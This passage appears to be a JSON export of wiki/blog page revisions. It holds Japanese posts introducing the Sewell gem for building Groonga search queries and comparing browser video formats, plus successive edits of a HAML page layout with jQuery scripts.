は最も手軽な全文検索ソリューションです。 Ruby の Hash に何かを入れるかのような感覚でデータを永続化し、それをそのまま全文検索することが出来ます。\r\n\r\nですがこれでもまだボトルネックと言える部分があって、 Groonga で全文検索する時は以下のような感じのコードを書かないといけません。\r\n\r\n```ruby\r\nGroonga['bookmarks'].select{|x| x.word =~ \"buta\"} #ブロックで検索条件組むやつ\r\nGroonga['bookmarks'].select('word:@buta') # Groonga のクエリ形式\r\n```\r\n\r\nユーザーが入力したデータからこれらを組み立てるのは実際結構めんどくさい作業です。\r\n\r\nそこでそれをやるのが Sewell Gem です。ユーザーがよく入力するような自然なクエリから Groonga の形式のクエリを生成することが出来ます。クエリ形式なので rroonga に投げてもいいですし HTTP の先にいる Groonga にクエリを投げてもよいので幅広く使うことができます。\r\n\r\n使い方は以下の通り。\r\n\r\n#### 文字列からクエリを生成する場合\r\n``` ruby\r\nSewell.generate('ラーメン二郎 AND ニンニク -カラメ', ['ramen']) \r\n#=\u003e ( ramen@:ラーメン二郎 ) + ( ramen@ニンニク ) - ( ramen@:カラメ )\r\nSewell.generate('ニンニク' ['ramen', 'debu']) #=\u003e ( ramen@ニンニク OR debu@ニンニク )\r\n```\r\n\r\n第一引数にクエリを入れて第二引数に検索対象にしたいカラム名を配列で入れるといい感じでクエリを吐いてくれます。\r\n\r\n#### ハッシュからクエリを生成する場合\r\n``` ruby\r\nSewell.generate({rame: '二郎 OR 用心棒', gyowza: '佐藤伸一'}, 'AND') \r\n#=\u003e ( ramen@二郎 OR ramen@用心棒 ) + ( gyowza@佐藤伸一 )\r\nSewell.generate({rame: '二郎 OR 用心棒', gyowza: '佐藤伸一'}, 'OR') \r\n#=\u003e ( ramen@二郎 OR ramen@用心棒 ) OR ( gyowza@佐藤伸一 )\r\n```\r\n\r\n第一引数に key: 検索対象のカラム名 value: クエリ なハッシュを、第二引数に複数のカラムを AND 条件で繋ぐか OR 条件で繋ぐかを入れるといい感じでクエリを吐きます。\r\n\r\nハッシュのやつは複数のフォームから条件をとってきて検索するみたいな用途で使うことを想定しています。\r\n\r\nどうぞご利用ください。","created_at":"2013-02-22T07:13:27.000Z","updated_at":"2013-02-22T07:13:27.000Z"},{"id":2276,"name":"text/Groonga で気軽に検索する為の Gem を作りました","body":"%blog%\r\n\r\n- [Sewell](https://github.com/ssig33/sewell)\r\n\r\nGroonga で気軽に検索する為の rubygem です。\r\n\r\nRuby を使ってアプリケーションを開発する際、 Groonga は最も手軽な全文検索ソリューションです。 Ruby の Hash に何かを入れるかのような感覚でデータを永続化し、それをそのまま全文検索することが出来ます。\r\n\r\nですがこれでもまだボトルネックと言える部分があって、 Groonga で全文検索する時は以下のような感じのコードを書かないといけません。\r\n\r\n```ruby\r\nGroonga['bookmarks'].select{|x| x.word =~ \"buta\"} #ブロックで検索条件組むやつ\r\nGroonga['bookmarks'].select('word:@buta') # Groonga のクエリ形式\r\n```\r\n\r\nユーザーが入力したデータからこれらを組み立てるのは実際結構めんどくさい作業です。\r\n\r\nそこでそれをやるのが Sewell Gem です。ユーザーがよく入力するような自然なクエリから Groonga の形式のクエリを生成することが出来ます。クエリ形式なので rroonga に投げてもいいですし HTTP の先にいる Groonga にクエリを投げてもよいので幅広く使うことができます。\r\n\r\n使い方は以下の通り。\r\n\r\n#### 文字列からクエリを生成する場合\r\n``` ruby\r\nSewell.generate('ラーメン二郎 AND ニンニク -カラメ', ['ramen']) \r\n#=\u003e ( ramen@:ラーメン二郎 ) + ( ramen@ニンニク ) - ( ramen@:カラメ )\r\nSewell.generate('ニンニク' ['ramen', 'debu']) #=\u003e ( ramen@ニンニク OR debu@ニンニク )\r\n```\r\n\r\n第一引数にクエリを入れて第二引数に検索対象にしたいカラム名を配列で入れるといい感じでクエリを吐いてくれます。\r\n\r\n#### ハッシュからクエリを生成する場合\r\n``` ruby\r\nSewell.generate({rame: '二郎 OR 用心棒', gyowza: '佐藤伸一'}, 'AND') \r\n#=\u003e ( ramen@二郎 OR ramen@用心棒 ) + ( gyowza@佐藤伸一 )\r\nSewell.generate({rame: '二郎 OR 用心棒', gyowza: '佐藤伸一'}, 'OR') \r\n#=\u003e ( ramen@二郎 OR ramen@用心棒 ) OR ( gyowza@佐藤伸一 )\r\n```\r\n\r\n第一引数に key: 検索対象のカラム名 value: クエリ なハッシュを、第二引数に複数のカラムを AND 条件で繋ぐか OR 条件で繋ぐかを入れるといい感じでクエリを吐きます。\r\n\r\nハッシュのやつは複数のフォームから条件をとってきて検索するみたいな用途で使うことを想定しています。\r\n\r\nどうぞご利用ください。","created_at":"2013-02-22T07:16:00.000Z","updated_at":"2013-02-22T07:16:00.000Z"},{"id":2277,"name":"text/Groonga で気軽に検索する為の Gem を作りました","body":"%blog%\r\n\r\n- [Sewell](https://github.com/ssig33/sewell)\r\n\r\nGroonga で気軽に検索する為の rubygem です。\r\n\r\nRuby を使ってアプリケーションを開発する際、 Groonga は最も手軽な全文検索ソリューションです。 Ruby の Hash に何かを入れるかのような感覚でデータを永続化し、それをそのまま全文検索することが出来ます。\r\n\r\nですがこれでもまだボトルネックと言える部分があって、 Groonga で全文検索する時は以下のような感じのコードを書かないといけません。\r\n\r\n```ruby\r\nGroonga['bookmarks'].select{|x| x.word =~ \"buta\"} #ブロックで検索条件組むやつ\r\nGroonga['bookmarks'].select('word:@buta') # Groonga のクエリ形式\r\n```\r\n\r\nユーザーが入力したデータからこれらを組み立てるのは実際結構めんどくさい作業です。\r\n\r\nそこでそれをやるのが Sewell Gem です。ユーザーがよく入力するような自然なクエリから Groonga の形式のクエリを生成することが出来ます。クエリ形式なので rroonga に投げてもいいですし HTTP の先にいる Groonga にクエリを投げてもよいので幅広く使うことができます。\r\n\r\n使い方は以下の通り。\r\n\r\n#### 文字列からクエリを生成する場合\r\n``` ruby\r\nSewell.generate('ラーメン二郎 AND ニンニク -カラメ', ['ramen']) \r\n#=\u003e ( ramen@:ラーメン二郎 ) + ( ramen@ニンニク ) - ( ramen@:カラメ )\r\nSewell.generate('ニンニク' ['ramen', 'debu']) #=\u003e ( ramen@ニンニク OR debu@ニンニク )\r\n```\r\n\r\n第一引数にクエリを入れて第二引数に検索対象にしたいカラム名を配列で入れるといい感じでクエリを吐いてくれます。\r\n\r\n#### ハッシュからクエリを生成する場合\r\n``` ruby\r\nSewell.generate({ramen: '二郎 OR 用心棒', gyowza: '佐藤伸一パリ'}, 'AND') \r\n#=\u003e ( ramen@二郎 OR ramen@用心棒 ) + ( gyowza@佐藤伸一 gyowza@パリ )\r\nSewell.generate({ramen: '二郎 OR 用心棒', gyowza: '佐藤伸一 パリ'}, 'OR') \r\n#=\u003e ( ramen@二郎 OR ramen@用心棒 ) OR ( gyowza@佐藤伸一 + gyowza@パリ )\r\n```\r\n\r\n第一引数に key: 検索対象のカラム名 value: クエリ なハッシュを、第二引数に複数のカラムを AND 条件で繋ぐか OR 条件で繋ぐかを入れるといい感じでクエリを吐きます。\r\n\r\nハッシュのやつは複数のフォームから条件をとってきて検索するみたいな用途で使うことを想定しています。\r\n\r\nどうぞご利用ください。","created_at":"2013-02-22T07:20:05.000Z","updated_at":"2013-02-22T07:20:05.000Z"},{"id":2278,"name":"text/ブラウザで動画を表示する","body":"%blog%\r\n\r\n実のところ 2-3 年前よりも状況は厳しくなってます。表にします。\r\n\r\nやり方 | 利点と欠点\r\n---- | ----\r\nFlash | 全然駄目、話にならない。携帯電話で動かない。 Internet Explorer でもサポートされなくなった。\r\nvideo 要素 (mp4) | Firefox で動かない\r\nvideo 要素 (webm) | Safari と Internet Explorer で動かない\r\nvideo 要素 (ogv) | Internet Explorer で動かない\r\n沢山の画像を canvas で頑張ってアニメーションさせる | 糞めんどくさい\r\nアニメ gif | 動かない環境は特に無い、色数が少ない、音が出ない\r\n\r\n比べてみるとアニメ gif がわりと現実的な選択肢であることが分かります。この世は地獄だ。","created_at":"2013-02-22T09:43:54.000Z","updated_at":"2013-02-22T09:43:54.000Z"},{"id":2279,"name":"text/ブラウザで動画を表示する","body":"%blog%\r\n\r\n実のところ 2-3 年前よりも状況は厳しくなってます。表にします。\r\n\r\nやり方 | 状況\r\n---- | ----\r\nFlash | 全然駄目、話にならない。携帯電話で動かない。 Internet Explorer でもサポートされなくなった。\r\nvideo 要素 (mp4) | Firefox で動かない\r\nvideo 要素 (webm) | Safari と Internet Explorer で動かない\r\nvideo 要素 (ogv) | Internet Explorer で動かない\r\n沢山の画像を canvas で頑張ってアニメーションさせる | 糞めんどくさい\r\nアニメ gif | 動かない環境は特に無い、色数が少ない、音が出ない\r\n\r\n比べてみるとアニメ gif がわりと現実的な選択肢であることが分かります。この世は地獄だ。","created_at":"2013-02-22T09:44:30.000Z","updated_at":"2013-02-22T09:44:30.000Z"},{"id":2280,"name":"layout","body":"layout レイアウト\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all\r\n ~@page.html(request)\r\n %div\r\n %h4 Updated histories of this content\r\n %p\r\n -Page.where(name: @page.name).order('id desc').each do |p|\r\n %a{href: \"/#{CGI.escape(@page.name)?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2013-02-24T03:37:58.000Z","updated_at":"2013-02-24T03:37:58.000Z"},{"id":2281,"name":"layout","body":"layout レイアウト\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all\r\n ~@page.html(request)\r\n %div\r\n %h4 Updated histories of this content\r\n %p\r\n -Page.where(name: @page.name).order('id desc').each do |p|\r\n %a{href: \"/#{CGI.escape(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2013-02-24T03:38:56.000Z","updated_at":"2013-02-24T03:38:56.000Z"},{"id":2282,"name":"layout","body":"layout レイアウト\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all\r\n ~@page.html(request)\r\n %div\r\n %h4 Updated histories of this content\r\n %p\r\n -Page.where(name: @page.name).order('id desc').each do |p|\r\n %a{href: \"/#{CGI.escape(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n %br\r\n \r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2013-02-24T03:39:10.000Z","updated_at":"2013-02-24T03:39:10.000Z"},{"id":2283,"name":"layout","body":"layout レイアウト\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all\r\n ~@page.html(request)\r\n %div\r\n %p\r\n Updated histories of this content\r\n %br\r\n -Page.where(name: @page.name).order('id desc').each do |p|\r\n %a{href: \"/#{CGI.escape(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n %br\r\n \r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2013-02-24T03:39:33.000Z","updated_at":"2013-02-24T03:39:33.000Z"},{"id":2284,"name":"layout","body":"layout レイアウト\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all\r\n ~@page.html(request)\r\n %div\r\n %ul\r\n %li Updated histories of this content\r\n %br\r\n -Page.where(name: @page.name).order('id desc').each do |p|\r\n %li\r\n %a{href: \"/#{CGI.escape(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2013-02-24T03:40:14.000Z","updated_at":"2013-02-24T03:40:14.000Z"},{"id":2285,"name":"layout","body":"layout レイアウト\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all\r\n ~@page.html(request)\r\n %div\r\n %ul\r\n %li Updated histories of this content\r\n -Page.where(name: @page.name).order('id desc').each do |p|\r\n %li\r\n %a{href: \"/#{CGI.escape(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2013-02-24T03:40:29.000Z","updated_at":"2013-02-24T03:40:29.000Z"},{"id":2286,"name":"layout","body":"layout レイアウト\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all\r\n ~@page.html(request)\r\n %div\r\n %ul\r\n %li \r\n %b Updated histories of this content\r\n -Page.where(name: @page.name).order('id desc').each do |p|\r\n %li\r\n %a{href: \"/#{CGI.escape(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2013-02-24T03:40:41.000Z","updated_at":"2013-02-24T03:40:41.000Z"},{"id":2287,"name":"layout","body":"layout レイアウト\r\n\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all\r\n ~@page.html(request)\r\n %div\r\n %ul\r\n %li \r\n %b Updated histories of this content\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n if i == 0\r\n %li\r\n %a{href: \"/#{CGI.escape(@page.name)}}=\"latest: #{p.created_at.gmtime}\"\r\n else\r\n %li\r\n %a{href: \"/#{CGI.escape(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre = $(code.parent());\r\n var lang = code.attr('class');\r\n code.remove();\r\n pre.text(text);\r\n if(lang != undefined){\r\n pre.addClass(\"sh_\"+lang);\r\n }\r\n })\r\n sh_highlightDocument();\r\n \r\n if($(\"#created_at\").length == 1){\r\n $.getJSON(\"http://ssig33.com/api.ssig33.com/timestamp?name=\"+encodeURI('#{@page.name}') , function(data){\r\n var date\r\n date = new Date(Date.parse(data[\"created_at\"]))\r\n var created_at = date.toGMTString()\r\n date = new Date(Date.parse(data[\"updated_at\"]))\r\n var updated_at = date.toGMTString()\r\n if(created_at == updated_at){\r\n $(\"#created_at\").html(\"created at: \"+created_at)\r\n }else{\r\n $(\"#created_at\").html(\"created at: \"+created_at+\" updated at: \"+updated_at)\r\n }\r\n\r\n })\r\n }\r\n\u003c!-- layout from Database --\u003e","created_at":"2013-02-24T03:41:51.000Z","updated_at":"2013-02-24T03:41:51.000Z"},{"id":2288,"name":"layout","body":"\u003c!DOCTYPE html\u003e\r\n%meta{:charset =\u003e \"UTF-8\"}\r\n%title=h title\r\n%link{:href =\u003e \"http:https://unpkg.com/sakura.css/css/sakura.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/sh_style.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%link{:href =\u003e \"http://ssig33.com/metro.css\", :media =\u003e \"screen\", :rel =\u003e \"stylesheet\", :type =\u003e \"text/css\"}\r\n%meta{:name =\u003e \"viewport\", :content =\u003e \"width=320, initial-scale=1.0, maximum-scale=1.0, user-scalable=no\"}\r\n%link{:href =\u003e '/feed', :rel =\u003e 'alternate', :title =\u003e 'feed', :type =\u003e \"application/rss+xml\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_main.min.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/sh_ext.js\"}\r\n%script{:src =\u003e \"http://ssig33.com/jquery.js\"}\r\n%div#all\r\n ~@page.html(request)\r\n %div\r\n %ul\r\n %li \r\n %b Updated histories of this content\r\n -Page.where(name: @page.name).order('id desc').each_with_index do |p,i|\r\n - if i == 0\r\n %li\r\n %a{href: \"/#{CGI.escape(@page.name)}\"}latest: #{p.created_at.gmtime}\"\r\n - else\r\n %li\r\n %a{href: \"/#{CGI.escape(@page.name)}?history_id=#{p.id}\"}=p.created_at.gmtime\r\n \r\n:javascript\r\n $.each($(\"pre code\"), function(){\r\n var code = $(this);\r\n var text = code.text();\r\n var pre 